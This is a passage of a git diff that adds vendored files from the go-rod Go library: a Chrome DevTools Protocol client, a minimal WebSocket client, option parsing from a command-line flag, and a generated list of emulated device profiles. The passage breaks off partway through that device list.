+ // Send text message only + Send(data []byte) error + // Read returns text message only + Read() ([]byte, error) +} + +// Client is a devtools protocol connection instance. +type Client struct { + count uint64 + + ws WebSocketable + + pending sync.Map // pending requests + event chan *Event // events from browser + + logger utils.Logger +} + +// New creates a cdp connection, all messages from Client.Event must be received or they will block the client. +func New() *Client { + return &Client{ + event: make(chan *Event), + logger: defaults.CDP, + } +} + +// Logger sets the logger to log all the requests, responses, and events transferred between Rod and the browser. +// The default format for each type is in file format.go. +func (cdp *Client) Logger(l utils.Logger) *Client { + cdp.logger = l + return cdp +} + +// Start to browser. +func (cdp *Client) Start(ws WebSocketable) *Client { + cdp.ws = ws + + go cdp.consumeMessages() + + return cdp +} + +type result struct { + msg json.RawMessage + err error +} + +// Call a method and wait for its response. +func (cdp *Client) Call(ctx context.Context, sessionID, method string, params interface{}) ([]byte, error) { + req := &Request{ + ID: int(atomic.AddUint64(&cdp.count, 1)), + SessionID: sessionID, + Method: method, + Params: params, + } + + cdp.logger.Println(req) + + data, err := json.Marshal(req) + utils.E(err) + + done := make(chan result) + once := sync.Once{} + cdp.pending.Store(req.ID, func(res result) { + once.Do(func() { + select { + case <-ctx.Done(): + case done <- res: + } + }) + }) + defer cdp.pending.Delete(req.ID) + + err = cdp.ws.Send(data) + if err != nil { + return nil, err + } + + select { + case <-ctx.Done(): + return nil, ctx.Err() + case res := <-done: + return res.msg, res.err + } +} + +// Event returns a channel that will emit browser devtools protocol events. Must be consumed or will block producer. +func (cdp *Client) Event() <-chan *Event { + return cdp.event +} + +// Consume messages coming from the browser via the websocket. +func (cdp *Client) consumeMessages() { + defer close(cdp.event) + + for { + data, err := cdp.ws.Read() + if err != nil { + cdp.pending.Range(func(_, val interface{}) bool { + val.(func(result))(result{err: err}) //nolint: forcetypeassert + return true + }) + return + } + + var id struct { + ID int `json:"id"` + } + err = json.Unmarshal(data, &id) + utils.E(err) + + if id.ID == 0 { + var evt Event + err := json.Unmarshal(data, &evt) + utils.E(err) + cdp.logger.Println(&evt) + cdp.event <- &evt + continue + } + + var res Response + err = json.Unmarshal(data, &res) + utils.E(err) + + cdp.logger.Println(&res) + + val, ok := cdp.pending.Load(id.ID) + if !ok { + continue + } + if res.Error == nil { + val.(func(result))(result{res.Result, nil}) //nolint: forcetypeassert + } else { + val.(func(result))(result{nil, res.Error}) //nolint: forcetypeassert + } + } +} diff --git a/backend/vendor/github.com/go-rod/rod/lib/cdp/error.go b/backend/vendor/github.com/go-rod/rod/lib/cdp/error.go new file mode 100644 index 0000000..32cc522 --- /dev/null +++ b/backend/vendor/github.com/go-rod/rod/lib/cdp/error.go @@ -0,0 +1,65 @@ +package cdp + +import ( + "fmt" +) + +// Error of the Response. +type Error struct { + Code int `json:"code"` + Message string `json:"message"` + Data string `json:"data"` +} + +// Error stdlib interface. +func (e *Error) Error() string { + return fmt.Sprintf("%v", *e) +} + +// Is stdlib interface. +func (e Error) Is(target error) bool { + err, ok := target.(*Error) + return ok && e == *err +} + +// ErrCtxNotFound type. +var ErrCtxNotFound = &Error{ + Code: -32000, + Message: "Cannot find context with specified id", +} + +// ErrSessionNotFound type. +var ErrSessionNotFound = &Error{ + Code: -32001, + Message: "Session with given id not found.", +} + +// ErrSearchSessionNotFound type. +var ErrSearchSessionNotFound = &Error{ + Code: -32000, + Message: "No search session with given id found", +} + +// ErrCtxDestroyed type. +var ErrCtxDestroyed = &Error{ + Code: -32000, + Message: "Execution context was destroyed.", +} + +// ErrObjNotFound type. +var ErrObjNotFound = &Error{ + Code: -32000, + Message: "Could not find object with given id", +} + +// ErrNodeNotFoundAtPos type. +var ErrNodeNotFoundAtPos = &Error{ + Code: -32000, + Message: "No node found at given location", +} + +// ErrNotAttachedToActivePage type. +var ErrNotAttachedToActivePage = &Error{ + Code: -32000, + Message: "Not attached to an active page", +} diff --git a/backend/vendor/github.com/go-rod/rod/lib/cdp/format.go b/backend/vendor/github.com/go-rod/rod/lib/cdp/format.go new file mode 100644 index 0000000..e9ca91d --- /dev/null +++ b/backend/vendor/github.com/go-rod/rod/lib/cdp/format.go @@ -0,0 +1,53 @@ +package cdp + +import ( + "fmt" + + "github.com/go-rod/rod/lib/utils" +) + +func (req Request) String() string { + return fmt.Sprintf( + "=> #%d %s %s %s", + req.ID, + fSessionID(req.SessionID), + req.Method, + dump(req.Params), + ) +} + +func (res Response) String() string { + if res.Error != nil { + return fmt.Sprintf( + "<= #%d error: %s", + res.ID, + dump(res.Error), + ) + } + return fmt.Sprintf( + "<= #%d %s", + res.ID, + dump(res.Result), + ) +} + +func (e Event) String() string { + return fmt.Sprintf( + "<- %s %s %s", + fSessionID(e.SessionID), + e.Method, + dump(e.Params), + ) +} + +func fSessionID(s string) string { + if s == "" { + s = "00000000" + } + s = s[:8] + return "@" + s +} + +func dump(v interface{}) string { + return utils.MustToJSON(v) +} diff --git a/backend/vendor/github.com/go-rod/rod/lib/cdp/utils.go b/backend/vendor/github.com/go-rod/rod/lib/cdp/utils.go new file mode 100644 index 0000000..ccdbea6 --- /dev/null +++ b/backend/vendor/github.com/go-rod/rod/lib/cdp/utils.go @@ -0,0 +1,46 @@ +package cdp + +import ( + "context" + "crypto/tls" + "net" + "net/http" + + "github.com/go-rod/rod/lib/utils" +) + +// Dialer interface for WebSocket connection. +type Dialer interface { + DialContext(ctx context.Context, network, address string) (net.Conn, error) +} + +// TODO: replace it with tls.Dialer once golang v1.15 is widely used. +type tlsDialer struct{} + +func (d *tlsDialer) DialContext(_ context.Context, network, address string) (net.Conn, error) { + return tls.Dial(network, address, nil) +} + +// MustConnectWS helper to make a websocket connection. +func MustConnectWS(wsURL string) WebSocketable { + ws := &WebSocket{} + utils.E(ws.Connect(context.Background(), wsURL, nil)) + return ws +} + +// MustStartWithURL helper for ConnectURL. +func MustStartWithURL(ctx context.Context, u string, h http.Header) *Client { + c, err := StartWithURL(ctx, u, h) + utils.E(err) + return c +} + +// StartWithURL helper to connect to the u with the default websocket lib. +func StartWithURL(ctx context.Context, u string, h http.Header) (*Client, error) { + ws := &WebSocket{} + err := ws.Connect(ctx, u, h) + if err != nil { + return nil, err + } + return New().Start(ws), nil +} diff --git a/backend/vendor/github.com/go-rod/rod/lib/cdp/websocket.go b/backend/vendor/github.com/go-rod/rod/lib/cdp/websocket.go new file mode 100644 index 0000000..05454bf --- /dev/null +++ b/backend/vendor/github.com/go-rod/rod/lib/cdp/websocket.go @@ -0,0 +1,238 @@ +package cdp + +import ( + "bufio" + "context" + "crypto/sha1" + "encoding/base64" + "fmt" + "io" + "net" + "net/http" + "net/url" + "sync" +) + +var _ WebSocketable = &WebSocket{} + +// WebSocket client for chromium. It only implements a subset of WebSocket protocol. +// Both the Read and Write are thread-safe. +// Limitation: https://bugs.chromium.org/p/chromium/issues/detail?id=1069431 +// Ref: https://tools.ietf.org/html/rfc6455 +type WebSocket struct { + // Dialer is usually used for proxy + Dialer Dialer + + lock sync.Mutex + conn net.Conn + r *bufio.Reader +} + +// Connect to browser. +func (ws *WebSocket) Connect(ctx context.Context, wsURL string, header http.Header) error { + if ws.conn != nil { + panic("duplicated connection: " + wsURL) + } + + u, err := url.Parse(wsURL) + if err != nil { + return err + } + + ws.initDialer(u) + + conn, err := ws.Dialer.DialContext(ctx, "tcp", u.Host) + if err != nil { + return err + } + + ws.conn = conn + ws.r = bufio.NewReader(conn) + return ws.handshake(ctx, u, header) +} + +// Close the underlying connection. +func (ws *WebSocket) Close() error { + return ws.conn.Close() +} + +func (ws *WebSocket) initDialer(u *url.URL) { + if ws.Dialer != nil { + return + } + + if u.Scheme == "wss" { + ws.Dialer = &tlsDialer{} + if u.Port() == "" { + u.Host += ":443" + } + } else { + ws.Dialer = &net.Dialer{} + } +} + +// Send a message to browser. +// Because we use zero-copy design, it will modify the content of the msg. +// It won't allocate new memory. +func (ws *WebSocket) Send(msg []byte) error { + err := ws.send(msg) + if err != nil { + _ = ws.Close() + } + return err +} + +func (ws *WebSocket) send(msg []byte) error { + // FIN is alway true, Opcode is always text frame. + header := [18]byte{0b1000_0001, 0b1000_0000} + mask := []byte{0, 1, 2, 3} + + size := len(msg) + fieldLen := 0 + switch { + case size <= 125: + header[1] |= byte(size) + case size < 65536: + header[1] |= 126 + fieldLen = 2 + default: + header[1] |= 127 + fieldLen = 8 + } + + var i int + for i = 0; i < fieldLen; i++ { + digit := (fieldLen - i - 1) * 8 + header[i+2] = byte((size >> digit) & 0xff) + } + + copy(header[i+2:], mask) + + for i := range msg { + msg[i] ^= mask[i%4] + } + + data := make([]byte, i+6+len(msg)) + copy(data, header[:i+6]) + copy(data[i+6:], msg) + + _, err := ws.conn.Write(data) + return err +} + +// Read a message from browser. +func (ws *WebSocket) Read() ([]byte, error) { + b, err := ws.read() + if err != nil { + _ = ws.Close() + return nil, err + } + return b, nil +} + +func (ws *WebSocket) read() ([]byte, error) { + ws.lock.Lock() + defer ws.lock.Unlock() + + _, err := ws.r.ReadByte() + if err != nil { + return nil, err + } + + b, err := ws.r.ReadByte() + if err != nil { + return nil, err + } + + size := 0 + fieldLen := 0 + + b &= 0x7f + switch { + case b <= 125: + size = int(b) + case b == 126: + fieldLen = 2 + case b == 127: + fieldLen = 8 + } + + for i := 0; i < fieldLen; i++ { + b, err := ws.r.ReadByte() + if err != nil { + return nil, err + } + + size = size<<8 + int(b) + } + + data := make([]byte, size) + _, err = io.ReadFull(ws.r, data) + return data, err +} + +// BadHandshakeError type. +type BadHandshakeError struct { + Status string + Body string +} + +func (e *BadHandshakeError) Error() string { + return fmt.Sprintf( + "websocket bad handshake: %s. %s", + e.Status, e.Body, + ) +} + +func verifyWebSocketAccept(responseHeaders http.Header, websocketKey string) bool { + expectedKey := websocketKey + "258EAFA5-E914-47DA-95CA-C5AB0DC85B11" + hash := sha1.New() + hash.Write([]byte(expectedKey)) + expectedAccept := base64.StdEncoding.EncodeToString(hash.Sum(nil)) + + return responseHeaders.Get("Sec-WebSocket-Accept") == expectedAccept +} + +func (ws *WebSocket) handshake(ctx context.Context, u *url.URL, header http.Header) error { + defaultSecKey := "nil" + req := (&http.Request{Method: http.MethodGet, URL: u, Header: http.Header{ + "Upgrade": {"websocket"}, + "Connection": {"Upgrade"}, + "Sec-WebSocket-Key": {defaultSecKey}, + "Sec-WebSocket-Version": {"13"}, + }}).WithContext(ctx) + + secKey := defaultSecKey + for k, vs := range header { + switch { + case k == "Host" && len(vs) > 0: + req.Host = vs[0] + case k == "Sec-WebSocket-Key" && len(vs) > 0: + secKey = vs[0] + req.Header[k] = vs + default: + req.Header[k] = vs + } + } + + err := req.Write(ws.conn) + if err != nil { + return err + } + + res, err := http.ReadResponse(ws.r, req) + if err != nil { + return err + } + defer func() { _ = res.Body.Close() }() + + if res.StatusCode != http.StatusSwitchingProtocols || !verifyWebSocketAccept(res.Header, secKey) { + body, _ := io.ReadAll(res.Body) + return &BadHandshakeError{ + Status: res.Status, + Body: string(body), + } + } + + return nil +} diff --git a/backend/vendor/github.com/go-rod/rod/lib/defaults/defaults.go b/backend/vendor/github.com/go-rod/rod/lib/defaults/defaults.go new file mode 100644 index 0000000..5474b4c --- /dev/null +++ b/backend/vendor/github.com/go-rod/rod/lib/defaults/defaults.go @@ -0,0 +1,203 @@ +// Package defaults of commonly used options parsed from environment. +// Check ResetWith for details. +package defaults + +import ( + "flag" + "log" + "os" + "regexp" + "strconv" + "strings" + "time" + + "github.com/go-rod/rod/lib/utils" +) + +// Trace is the default of rod.Browser.Trace . +// Option name is "trace". +var Trace bool + +// Slow is the default of rod.Browser.SlowMotion . +// The format is same as https://golang.org/pkg/time/#ParseDuration +// Option name is "slow". +var Slow time.Duration + +// Monitor is the default of rod.Browser.ServeMonitor . +// Option name is "monitor". +var Monitor string + +// Show is the default of launcher.Launcher.Headless . +// Option name is "show". +var Show bool + +// Devtools is the default of launcher.Launcher.Devtools . +// Option name is "devtools". +var Devtools bool + +// Dir is the default of launcher.Launcher.UserDataDir . +// Option name is "dir". +var Dir string + +// Port is the default of launcher.Launcher.RemoteDebuggingPort . +// Option name is "port". +var Port string + +// Bin is the default of launcher.Launcher.Bin . +// Option name is "bin". +var Bin string + +// Proxy is the default of launcher.Launcher.Proxy +// Option name is "proxy". +var Proxy string + +// LockPort is the default of launcher.Browser.LockPort +// Option name is "lock". +var LockPort int + +// URL is the default websocket url for remote control a browser. +// Option name is "url". +var URL string + +// CDP is the default of cdp.Client.Logger +// Option name is "cdp". +var CDP utils.Logger + +// Reset all flags to their init values. +func Reset() { + Trace = false + Slow = 0 + Monitor = "" + Show = false + Devtools = false + Dir = "" + Port = "0" + Bin = "" + Proxy = "" + LockPort = 2978 + URL = "" + CDP = utils.LoggerQuiet +} + +var envParsers = map[string]func(string){ + "trace": func(string) { + Trace = true + }, + "slow": func(v string) { + var err error + Slow, err = time.ParseDuration(v) + if err != nil { + msg := "invalid value for \"slow\": " + err.Error() + + " (learn format from https://golang.org/pkg/time/#ParseDuration)" + panic(msg) + } + }, + "monitor": func(v string) { + Monitor = ":0" + if v != "" { + Monitor = v + } + }, + "show": func(string) { + Show = true + }, + "devtools": func(string) { + Devtools = true + }, + "dir": func(v string) { + Dir = v + }, + "port": func(v string) { + Port = v + }, + "bin": func(v string) { + Bin = v + }, + "proxy": func(v string) { + Proxy = v + }, + "lock": func(v string) { + i, err := strconv.ParseInt(v, 10, 32) + if err == nil { + LockPort = int(i) + } + }, + "url": func(v string) { + URL = v + }, + "cdp": func(_ string) { + CDP = log.New(log.Writer(), "[cdp] ", log.LstdFlags) + }, +} + +// Parse the flags. +func init() { + ResetWith("") +} + +// ResetWith options and "-rod" command line flag. +// It will be called in an init() , so you don't have to call it manually. +// It will try to load the cli flag "-rod" and then the options, the later override the former. +// If you want to disable the global cli argument flag, set env DISABLE_ROD_FLAG. +// Values are separated by commas, key and value are separated by "=". For example: +// +// go run main.go -rod=show +// go run main.go -rod show,trace,slow=1s,monitor +// go run main.go --rod="slow=1s,dir=path/has /space,monitor=:9223" +func ResetWith(options string) { + Reset() + + if _, has := os.LookupEnv("DISABLE_ROD_FLAG"); !has { + if !flag.Parsed() && flag.Lookup("rod") == nil { + flag.String("rod", "", `Set the default value of options used by rod.`) + } + + parseFlag(os.Args) + } + + parse(options) +} + +func parseFlag(args []string) { + reg := regexp.MustCompile(`^--?rod$`) + regEq := regexp.MustCompile(`^--?rod=(.*)$`) + opts := "" + for i, arg := range args { + if reg.MatchString(arg) && i+1 < len(args) { + opts = args[i+1] + } else if m := regEq.FindStringSubmatch(arg); len(m) == 2 { + opts = m[1] + } + } + + parse(opts) +} + +// parse options and set them globally. +func parse(options string) { + if options == "" { + return + } + + reg := regexp.MustCompile(`[,\r\n]`) + + for _, str := range reg.Split(options, -1) { + kv := strings.SplitN(str, "=", 2) + + v := "" + if len(kv) == 2 { + v = kv[1] + } + + n := strings.TrimSpace(kv[0]) + if n == "" { + continue + } + + f := envParsers[n] + if f == nil { + panic("unknown rod env option: " + n) + } + f(v) + } +} diff --git a/backend/vendor/github.com/go-rod/rod/lib/devices/device.go b/backend/vendor/github.com/go-rod/rod/lib/devices/device.go new file mode 100644 index 0000000..5f6f21f --- /dev/null +++ b/backend/vendor/github.com/go-rod/rod/lib/devices/device.go @@ -0,0 +1,101 @@ +// Package devices ... +package devices + +import ( + "github.com/go-rod/rod/lib/proto" + "github.com/ysmood/gson" +) + +// Device represents a emulated device. +type Device struct { + Capabilities []string + UserAgent string + AcceptLanguage string + Screen Screen + Title string + + landscape bool + clear bool +} + +// Screen represents the screen of a device. +type Screen struct { + DevicePixelRatio float64 + Horizontal ScreenSize + Vertical ScreenSize +} + +// ScreenSize represents the size of the screen. +type ScreenSize struct { + Width int + Height int +} + +// Landscape clones the device and set it to landscape mode. +func (device Device) Landscape() Device { + d := device + d.landscape = true + return d +} + +// MetricsEmulation config. +func (device Device) MetricsEmulation() *proto.EmulationSetDeviceMetricsOverride { + if device.IsClear() { + return nil + } + + var screen ScreenSize + var orientation *proto.EmulationScreenOrientation + if device.landscape { + screen = device.Screen.Horizontal + orientation = &proto.EmulationScreenOrientation{ + Angle: 90, + Type: proto.EmulationScreenOrientationTypeLandscapePrimary, + } + } else { + screen = device.Screen.Vertical + orientation = &proto.EmulationScreenOrientation{ + Angle: 0, + Type: proto.EmulationScreenOrientationTypePortraitPrimary, + } + } + + return &proto.EmulationSetDeviceMetricsOverride{ + Width: screen.Width, + Height: screen.Height, + DeviceScaleFactor: device.Screen.DevicePixelRatio, + ScreenOrientation: orientation, + Mobile: has(device.Capabilities, "mobile"), + } +} + +// TouchEmulation config. +func (device Device) TouchEmulation() *proto.EmulationSetTouchEmulationEnabled { + if device.IsClear() { + return &proto.EmulationSetTouchEmulationEnabled{ + Enabled: false, + } + } + + return &proto.EmulationSetTouchEmulationEnabled{ + Enabled: has(device.Capabilities, "touch"), + MaxTouchPoints: gson.Int(5), + } +} + +// UserAgentEmulation config. +func (device Device) UserAgentEmulation() *proto.NetworkSetUserAgentOverride { + if device.IsClear() { + return nil + } + + return &proto.NetworkSetUserAgentOverride{ + UserAgent: device.UserAgent, + AcceptLanguage: device.AcceptLanguage, + } +} + +// IsClear type. +func (device Device) IsClear() bool { + return device.clear +} diff --git a/backend/vendor/github.com/go-rod/rod/lib/devices/list.go b/backend/vendor/github.com/go-rod/rod/lib/devices/list.go new file mode 100644 index 0000000..eb7c177 --- /dev/null +++ b/backend/vendor/github.com/go-rod/rod/lib/devices/list.go @@ -0,0 +1,690 @@ +// generated by "lib/devices/generate" + +package devices + +var ( + + // IPhone4 device. + IPhone4 = Device{ + Title: "iPhone 4", + Capabilities: []string{"touch", "mobile"}, + UserAgent: "Mozilla/5.0 (iPhone; CPU iPhone OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D257 Safari/9537.53", + AcceptLanguage: "en", + Screen: Screen{ + DevicePixelRatio: 2, + Horizontal: ScreenSize{ + Width: 480, + Height: 320, + }, + Vertical: ScreenSize{ + Width: 320, + Height: 480, + }, + }, + } + + // IPhone5orSE device. + IPhone5orSE = Device{ + Title: "iPhone 5/SE", + Capabilities: []string{"touch", "mobile"}, + UserAgent: "Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_1 like Mac OS X) AppleWebKit/603.1.30 (KHTML, like Gecko) Version/10.0 Mobile/14E304 Safari/602.1", + AcceptLanguage: "en", + Screen: Screen{ + DevicePixelRatio: 2, + Horizontal: ScreenSize{ + Width: 568, + Height: 320, + }, + Vertical: ScreenSize{ + Width: 320, + Height: 568, + }, + }, + } + + // IPhone6or7or8 device. + IPhone6or7or8 = Device{ + Title: "iPhone 6/7/8", + Capabilities: []string{"touch", "mobile"}, + UserAgent: "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1", + AcceptLanguage: "en", + Screen: Screen{ + DevicePixelRatio: 2, + Horizontal: ScreenSize{ + Width: 667, + Height: 375, + }, + Vertical: ScreenSize{ + Width: 375, + Height: 667, + }, + }, + } + + // IPhone6or7or8Plus device. + IPhone6or7or8Plus = Device{ + Title: "iPhone 6/7/8 Plus", + Capabilities: []string{"touch", "mobile"}, + UserAgent: "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1", + AcceptLanguage: "en", + Screen: Screen{ + DevicePixelRatio: 3, + Horizontal: ScreenSize{ + Width: 736, + Height: 414, + }, + Vertical: ScreenSize{ + Width: 414, + Height: 736, + }, + }, + } + + // IPhoneX device. + IPhoneX = Device{ + Title: "iPhone X", + Capabilities: []string{"touch", "mobile"}, + UserAgent: "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1", + AcceptLanguage: "en", + Screen: Screen{ + DevicePixelRatio: 3, + Horizontal: ScreenSize{ + Width: 812, + Height: 375, + }, + Vertical: ScreenSize{ + Width: 375, + Height: 812, + }, + }, + } + + // BlackBerryZ30 device. + BlackBerryZ30 = Device{ + Title: "BlackBerry Z30", + Capabilities: []string{"touch", "mobile"}, + UserAgent: "Mozilla/5.0 (BB10; Touch) AppleWebKit/537.10+ (KHTML, like Gecko) Version/10.0.9.2372 Mobile Safari/537.10+", + AcceptLanguage: "en", + Screen: Screen{ + DevicePixelRatio: 2, + Horizontal: ScreenSize{ + Width: 640, + Height: 360, + }, + Vertical: ScreenSize{ + Width: 360, + Height: 640, + }, + }, + } + + // Nexus4 device. + Nexus4 = Device{ + Title: "Nexus 4", + Capabilities: []string{"touch", "mobile"}, + UserAgent: "Mozilla/5.0 (Linux; Android 4.4.2; Nexus 4 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36", + AcceptLanguage: "en", + Screen: Screen{ + DevicePixelRatio: 2, + Horizontal: ScreenSize{ + Width: 640, + Height: 384, + }, + Vertical: ScreenSize{ + Width: 384, + Height: 640, + }, + }, + } + + // Nexus5 device. + Nexus5 = Device{ + Title: "Nexus 5", + Capabilities: []string{"touch", "mobile"}, + UserAgent: "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36", + AcceptLanguage: "en", + Screen: Screen{ + DevicePixelRatio: 3, + Horizontal: ScreenSize{ + Width: 640, + Height: 360, + }, + Vertical: ScreenSize{ + Width: 360, + Height: 640, + }, + }, + } + + // Nexus5X device. + Nexus5X = Device{ + Title: "Nexus 5X", + Capabilities: []string{"touch", "mobile"}, + UserAgent: "Mozilla/5.0 (Linux; Android 8.0.0; Nexus 5X Build/OPR4.170623.006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36", + AcceptLanguage: "en", + Screen: Screen{ + DevicePixelRatio: 2, + Horizontal: ScreenSize{ + Width: 732, + Height: 412, + }, + Vertical: ScreenSize{ + Width: 412, + Height: 732, + }, + }, + } + + // Nexus6 device. + Nexus6 = Device{ + Title: "Nexus 6", + Capabilities: []string{"touch", "mobile"}, + UserAgent: "Mozilla/5.0 (Linux; Android 7.1.1; Nexus 6 Build/N6F26U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36", + AcceptLanguage: "en", + Screen: Screen{ + DevicePixelRatio: 3, + Horizontal: ScreenSize{ + Width: 732, + Height: 412, + }, + Vertical: ScreenSize{ + Width: 412, + Height: 732, + }, + }, + } + + // Nexus6P device. + Nexus6P = Device{ + Title: "Nexus 6P", + Capabilities: []string{"touch", "mobile"}, + UserAgent: "Mozilla/5.0 (Linux; Android 8.0.0; Nexus 6P Build/OPP3.170518.006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36", + AcceptLanguage: "en", + Screen: Screen{ + DevicePixelRatio: 3, + Horizontal: ScreenSize{ + Width: 732, + Height: 412, + }, + Vertical: ScreenSize{ + Width: 412, + Height: 732, + }, + }, + } + + // Pixel2 device. + Pixel2 = Device{ + Title: "Pixel 2", + Capabilities: []string{"touch", "mobile"}, + UserAgent: "Mozilla/5.0 (Linux; Android 8.0; Pixel 2 Build/OPD3.170816.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36", + AcceptLanguage: "en", + Screen: Screen{ + DevicePixelRatio: 2, + Horizontal: ScreenSize{ + Width: 731, + Height: 411, + }, + Vertical: ScreenSize{ + Width: 411, + Height: 731, + }, + }, + } + + // Pixel2XL device. + Pixel2XL = Device{ + Title: "Pixel 2 XL", + Capabilities: []string{"touch", "mobile"}, + UserAgent: "Mozilla/5.0 (Linux; Android 8.0.0; Pixel 2 XL Build/OPD1.170816.004) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36", + AcceptLanguage: "en", + Screen: Screen{ + DevicePixelRatio: 3, + Horizontal: ScreenSize{ + Width: 823, + Height: 411, + }, + Vertical: ScreenSize{ + Width: 411, + Height: 823, + }, + }, + } + + // LGOptimusL70 device. + LGOptimusL70 = Device{ + Title: "LG Optimus L70", + Capabilities: []string{"touch", "mobile"}, + UserAgent: "Mozilla/5.0 (Linux; U; Android 4.4.2; en-us; LGMS323 Build/KOT49I.MS32310c) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/114.0.0.0 Mobile Safari/537.36", + AcceptLanguage: "en", + Screen: Screen{ + DevicePixelRatio: 1, + Horizontal: ScreenSize{ + Width: 640, + Height: 384, + }, + Vertical: ScreenSize{ + Width: 384, + Height: 640, + }, + }, + } + + // NokiaN9 device. + NokiaN9 = Device{ + Title: "Nokia N9", + Capabilities: []string{"touch", "mobile"}, + UserAgent: "Mozilla/5.0 (MeeGo; NokiaN9) AppleWebKit/534.13 (KHTML, like Gecko) NokiaBrowser/8.5.0 Mobile Safari/534.13", + AcceptLanguage: "en", + Screen: Screen{ + DevicePixelRatio: 1, + Horizontal: ScreenSize{ + Width: 854, + Height: 480, + }, + Vertical: ScreenSize{ + Width: 480, + Height: 854, + }, + }, + } + + // NokiaLumia520 device. + NokiaLumia520 = Device{ + Title: "Nokia Lumia 520", + Capabilities: []string{"touch", "mobile"}, + UserAgent: "Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 520)", + AcceptLanguage: "en", + Screen: Screen{ + DevicePixelRatio: 1, + Horizontal: ScreenSize{ + Width: 533, + Height: 320, + }, + Vertical: ScreenSize{ + Width: 320, + Height: 533, + }, + }, + } + + // MicrosoftLumia550 device. + MicrosoftLumia550 = Device{ + Title: "Microsoft Lumia 550", + Capabilities: []string{"touch", "mobile"}, + UserAgent: "Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; Microsoft; Lumia 550) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2486.0 Mobile Safari/537.36 Edge/14.14263", + AcceptLanguage: "en", + Screen: Screen{ + DevicePixelRatio: 2, + Horizontal: ScreenSize{ + Width: 640, + Height: 360, + }, + Vertical: ScreenSize{ + Width: 640, + Height: 360, + }, + }, + } + + // MicrosoftLumia950 device. + MicrosoftLumia950 = Device{ + Title: "Microsoft Lumia 950", + Capabilities: []string{"touch", "mobile"}, + UserAgent: "Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; Microsoft; Lumia 950) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2486.0 Mobile Safari/537.36 Edge/14.14263", + AcceptLanguage: "en", + Screen: Screen{ + DevicePixelRatio: 4, + Horizontal: ScreenSize{ + Width: 640, + Height: 360, + }, + Vertical: ScreenSize{ + Width: 360, + Height: 640, + }, + }, + } + + // GalaxySIII device. + GalaxySIII = Device{ + Title: "Galaxy S III", + Capabilities: []string{"touch", "mobile"}, + UserAgent: "Mozilla/5.0 (Linux; U; Android 4.0; en-us; GT-I9300 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30", + AcceptLanguage: "en", + Screen: Screen{ + DevicePixelRatio: 2, + Horizontal: ScreenSize{ + Width: 640, + Height: 360, + }, + Vertical: ScreenSize{ + Width: 360, + Height: 640, + }, + }, + } + + // GalaxyS5 device. + GalaxyS5 = Device{ + Title: "Galaxy S5", + Capabilities: []string{"touch", "mobile"}, + UserAgent: "Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36", + AcceptLanguage: "en", + Screen: Screen{ + DevicePixelRatio: 3, + Horizontal: ScreenSize{ + Width: 640, + Height: 360, + }, + Vertical: ScreenSize{ + Width: 360, + Height: 640, + }, + }, + } + + // JioPhone2 device. + JioPhone2 = Device{ + Title: "JioPhone 2", + Capabilities: []string{"touch", "mobile"}, + UserAgent: "Mozilla/5.0 (Mobile; LYF/F300B/LYF-F300B-001-01-15-130718-i;Android; rv:48.0) Gecko/48.0 Firefox/48.0 KAIOS/2.5", + AcceptLanguage: "en", + Screen: Screen{ + DevicePixelRatio: 1, + Horizontal: ScreenSize{ + Width: 320, + Height: 240, + }, + Vertical: ScreenSize{ + Width: 240, + Height: 320, + }, + }, + } + + // KindleFireHDX device. + KindleFireHDX = Device{ + Title: "Kindle Fire HDX", + Capabilities: []string{"touch", "mobile"}, + UserAgent: "Mozilla/5.0 (Linux; U; en-us; KFAPWI Build/JDQ39) AppleWebKit/535.19 (KHTML, like Gecko) Silk/3.13 Safari/535.19 Silk-Accelerated=true", + AcceptLanguage: "en", + Screen: Screen{ + DevicePixelRatio: 2, + Horizontal: ScreenSize{ + Width: 1280, + Height: 800, + }, + Vertical: ScreenSize{ + Width: 800, + Height: 1280, + }, + }, + } + + // IPadMini device. + IPadMini = Device{ + Title: "iPad Mini", + Capabilities: []string{"touch", "mobile"}, + UserAgent: "Mozilla/5.0 (iPad; CPU OS 11_0 like Mac OS X) AppleWebKit/604.1.34 (KHTML, like Gecko) Version/11.0 Mobile/15A5341f Safari/604.1", + AcceptLanguage: "en", + Screen: Screen{ + DevicePixelRatio: 2, + Horizontal: ScreenSize{ + Width: 1024, + Height: 768, + }, + Vertical: ScreenSize{ + Width: 768, + Height: 1024, + }, + }, + } + + // IPad device. + IPad = Device{ + Title: "iPad", + Capabilities: []string{"touch", "mobile"}, + UserAgent: "Mozilla/5.0 (iPad; CPU OS 11_0 like Mac OS X) 